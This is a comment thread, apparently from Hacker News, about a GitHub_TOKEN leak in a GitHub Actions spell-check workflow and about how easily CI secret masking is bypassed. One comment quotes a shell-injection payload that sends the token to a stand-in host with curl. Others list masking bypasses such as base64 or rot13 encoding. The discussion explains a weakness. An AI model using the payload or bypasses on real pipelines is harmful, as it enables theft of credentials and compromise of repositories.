GitHub Actions checkspelling community workflow GitHub_TOKEN leakage via symlink

Re:GitHub Actions checkspelling community workflow GitHub_TO... by judge2020 on Thursday September 09, 2021 @12:44PM (#28471678)

> forget symlinks and project-specific vulns, just print the env?

GitHub masks anything that is a secret (or the github token) when it shows up in the log. You'll see stars ** instead of the actual secret.

However, this is trivially worked-around - apply a caesar cipher to it or simply add a space between each character. It would also be super simple to ship the token to a remote server with curl, as GitHub notes in its security hardening document[0]:

> they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example:

  a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#.

0: https://docs.github.com/en/actions/learn-github-actions/secu...

[ Parent | on HN ]

Re:GitHub Actions checkspelling community workflow GitHub_TO... by client4 on Thursday September 09, 2021 @03:10PM (#28473449)

Whenever I see ** instead of a password I have a laugh because I know the secret is hunter12.

[ Parent | on HN ]

Re:GitHub Actions checkspelling community workflow GitHub_TO... by OJFord on Thursday September 09, 2021 @02:32PM (#28473004)

Sure, it was just a succinct way to make the point, since as you say and others are commenting on, it's trivially worked around (in any CI system) if you're trying - it's only really supposed to stop accidental leaks.

[ Parent | on HN ]

Re:GitHub Actions checkspelling community workflow GitHub_TO... by bastardoperator on Thursday September 09, 2021 @01:51PM (#28472555)

This is every CI system on the planet

  echo ${PASSWORD} > file; cat file

And your password is now in the log file unmasked.

[ Parent | on HN ]

Re:GitHub Actions checkspelling community workflow GitHub_TO... by judge2020 on Thursday September 09, 2021 @01:54PM (#28472584)

No, it masks the output stream by searching for all secrets and censoring them.

[ Parent | on HN ]

Re:GitHub Actions checkspelling community workflow GitHub_TO... by VWWHFSfQ on Thursday September 09, 2021 @02:07PM (#28472726)

how does it know what are secrets? what if I base64 the password before printing it?

[ Parent | on HN ]

Re:GitHub Actions checkspelling community workflow GitHub_TO... by diamondo25 on Thursday September 09, 2021 @02:17PM (#28472847)

Thats what was said, it cannot detect that. If you rot13 it, you bypassed the protection.

[ Parent | on HN ]